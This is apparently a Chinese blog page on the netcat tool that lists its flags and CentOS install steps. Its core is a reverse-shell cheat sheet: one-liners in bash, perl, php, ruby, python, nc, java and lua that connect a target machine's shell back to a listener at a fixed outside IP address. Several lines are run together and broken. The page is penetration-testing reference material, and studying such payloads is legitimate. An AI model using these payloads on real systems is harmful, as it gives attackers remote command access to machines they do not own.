NC: netcat

一个简单、可靠的网络工具

  • nc的作用

(1)实现任意TCP/UDP端口的侦听
可作为server 以TCP或UDP方式侦听指定端口

(2)端口的扫描
nc可以作为client发起TCP或UDP连接
(3)机器之间传输文件
(4)机器之间网络测速

  • 控制参数
    -l
    指定nc将处于侦听模式,被当作server
    侦听并接受连接,而非向其它地址发起连接。
    -p
    暂未用到(老版本的nc可能需要在端口号前加-p参数)
    -s
    指定发送数据的源IP地址,适用于多网卡机
    -u
    指定nc使用UDP协议,默认为TCP
    -v
    输出交互或出错信息
    -w
    超时秒数,后面跟数字
    -z
    表示zero,表示扫描时不发送任何数据

https://www.cnblogs.com/nmap/p/6148306.html

NC反弹shell命令

本机开启监听:

nc -lvnp 4444
nc -vvlp 4444

目标机器开启反弹

bash版本:

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

perl版本:

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

php版本:

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

ruby版本:

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

python版本:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

nc版本:

nc -e /bin/sh 10.0.0.1 1234
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
nc x.x.x.x 8888|/bin/sh|nc x.x.x.x 9999

java版本:

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

lua版本:

lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"

NC版本不使用-e参数:

mknod /tmp/backpipe p
/bin/sh 0</tmp/backpipe | nc x.x.x.x 4444 1>/tmp/backpipe/bin/bash -i > /dev/tcp/173.214.173.151/8080 0<&1 2>&1mknod backpipe p && telnet 173.214.173.151 8080 0backpipe

centos 安装

 wget https://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gztar -zxvf netcat-0.7.1.tar.gz -C /usr/localcd /usr/local/netcat-0.7.1/./configure
make && make installvi /etc/profileexport NETCAT_HOME=/usr/local/netcat-0.7.1
export PATH=$PATH:$NETCAT_HOME/binsource /etc/profile
nc -V

渗透测试工具-瑞士军刀NC相关推荐

  1. 渗透测试工具--NetCat的使用

    渗透测试工具--NetCat的使用 什么是NetCat NetCat的作用 用法 常用选项 监听和连接一个端口 传输文件 什么是NetCat 在网络工具中有"瑞士军刀"美誉的Net ...

  2. Powershell 渗透测试工具-Nishang

    Powershell 渗透测试工具-Nishang 分享到: 作者:V1ct0r 稿费:500RMB(不服你也来投稿啊!) 投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿 传送门 ...

  3. 渗透测试入门19之渗透测试工具2

    适用于渗透测试不同阶段的工具收集整理 内容 侦察 武器化 交货 命令与控制 横向运动 建立立足点 升级特权 数据泄露 杂项 参考 该资源清单列表涵盖了一系列,适用于渗透测试不同阶段的开源/商业工具.如 ...

  4. 年轻人不讲武德!200个网络渗透测试工具大汇总

    最近有粉丝私信我说能不能写一期资料整理的文章 那么....它来了! 以下工具适合渗透测试人员,安全研究人员. 可以通过以下命令检查所有的工具: git clone --recursive https: ...

  5. 渗透测试 ( 5 ) --- 扫描之王 nmap、渗透测试工具实战技巧合集

    Nmap 官方文档 ( 中文文档是 Nmap 版本4.50,英文文档是最新的 ): 英文文档:https://nmap.org/book/man.html 中文文档:https://nmap.org/ ...

  6. 暗渡陈仓:用低消耗设备进行破解和渗透测试1.2.2 渗透测试工具集

    1.2.2 渗透测试工具集 Deck包含大量的渗透测试工具.设计理念是每个可能会用到的工具都应该包含进来,以确保在使用时无须下载额外的软件包.在渗透测试行动中给攻击机安装新的软件包很困难,轻则要费很大 ...

  7. 自动渗透测试工具集APT2

    自动渗透测试工具集APT2 APT2是Kali Linux新增的一款自动渗透测试工具集.它可以进行NMAP扫描,也可以直接读取Nexpose.Nessus和NMAP的扫描结果,然后自动进行渗透测试.在 ...

  8. 轻量级Web渗透测试工具jSQL

    轻量级Web渗透测试工具jSQL jSQL是Kali集成的一款轻量级的Web渗透测试工具.最初该工具主要实施SQL注入,后来增加更多的功能,扩展形成一个综合性的Web渗透测试工具.Kali提供的版本较 ...

  9. 全能无线渗透测试工具,一个LAZY就搞定了

    近来一直在研究无线安全方面的东西,特别是在无线渗透测试这块,每次渗透测试时总要来回不停的切换操作和挑选利器,很是麻烦.就想看看是否可以有一款功能全面的集合型工具. 正所谓功夫不负有心人,还真有这么一个 ...

最新文章

  1. 《C++入门经典(第6版)》——1.5 问与答
  2. 0128互联网新闻 | 微信小游戏新增“文化互动”类目;钉钉将上线企业拜年红包...
  3. mysql80连接不上本地服务器_Windows Server 2016 远程桌面本地连接不上
  4. 11种方法激励科技人才
  5. java jcombobox 获取值_从java中的JComboBox获取字符串值
  6. 二叉树祖先节点_二叉树的祖先
  7. Java 多线程-生产者、消费者
  8. Docker Hub 将放弃支持客户端 1.5 及以下版本
  9. Text Classification with BERT using Transformers for long text inputs
  10. python和django的关系_Django一对一关系实践
  11. 趣谈网络协议笔记 - 通信协议综述
  12. postgresql mysql数据类型_postgresql+java数据类型对照
  13. 电子扫描阵列雷达的全球与中国市场2022-2028年:技术、参与者、趋势、市场规模及占有率研究报告
  14. 《Android开发艺术探索》第7章- Android 动画深入分析读书笔记
  15. 单元格内多个姓名拆分成一列_excel一个单元格中有多个名字,怎样拆分这些名字,名字是用空格分开的《excel批量分列》...
  16. OAI搭建 eNB(2018-09最新版)
  17. 不支持多拨的无线路由 一号多拨+无线
  18. 浅析windows计划任务
  19. 推送技术——个推技术实现原理介绍
  20. 学计算机电脑需要多大内存,电脑内存是多少 电脑内存多大合适

热门文章

  1. 泥巴与互联网里长大的小孩
  2. ,因为在此系统上禁止运行脚本。有关详细信息,请参阅 https:/go.microso ft.com/fwlink/?LinkID=135170 中的 about_Execution_Policies
  3. 使用C32asm编辑
  4. 专访美女程序媛刘晶:一个人的成功是做加法,团队的成功则是做乘法
  5. 【Eclipse】xml文件
  6. 基金使用计划 数学建模 matlab,数学建模论文-基金使用计划
  7. 2018/05/11,暗里着迷
  8. 域名里gTLD、new gTLD、ccTLD的含义之间的关系
  9. java计算机毕业设计我图你秀图片素材交易平台源代码+数据库+系统+lw文档
  10. Canvas特效动画